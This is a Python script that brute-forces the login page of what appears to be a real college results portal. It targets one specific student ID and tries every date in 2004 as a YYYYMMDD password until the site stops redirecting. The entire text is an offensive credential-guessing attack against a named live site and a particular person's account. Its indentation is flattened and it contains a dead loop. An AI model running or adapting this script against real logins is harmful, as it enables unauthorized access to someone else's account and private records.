from requests import post, get
login_url = "http://nmamit.in/result/login.php"
data = {
"userbane": "4nm21is120",
"password": ""
}
date = [2004, 1, 0]
while True:
break
date[-1] += 1
if date[-1] == 31:
date[-1] = 0
date[1] += 1
if date[1] == 13:
date[1] = 1
date[0] += 1
input()
print(date)
break
continue
yyyy = "2004"
for mm in range(1, 13):
for dd in range(1, 32):
data["password"] = yyyy + str(mm).zfill(2) + str(dd).zfill(2)
r = post(login_url, data=data)
if "<script> window.location.href = 'index.php'</script>" in r.text[:1999]:
print("wrong credidentals", data["password"])
else:
print("corect", data["password"])
break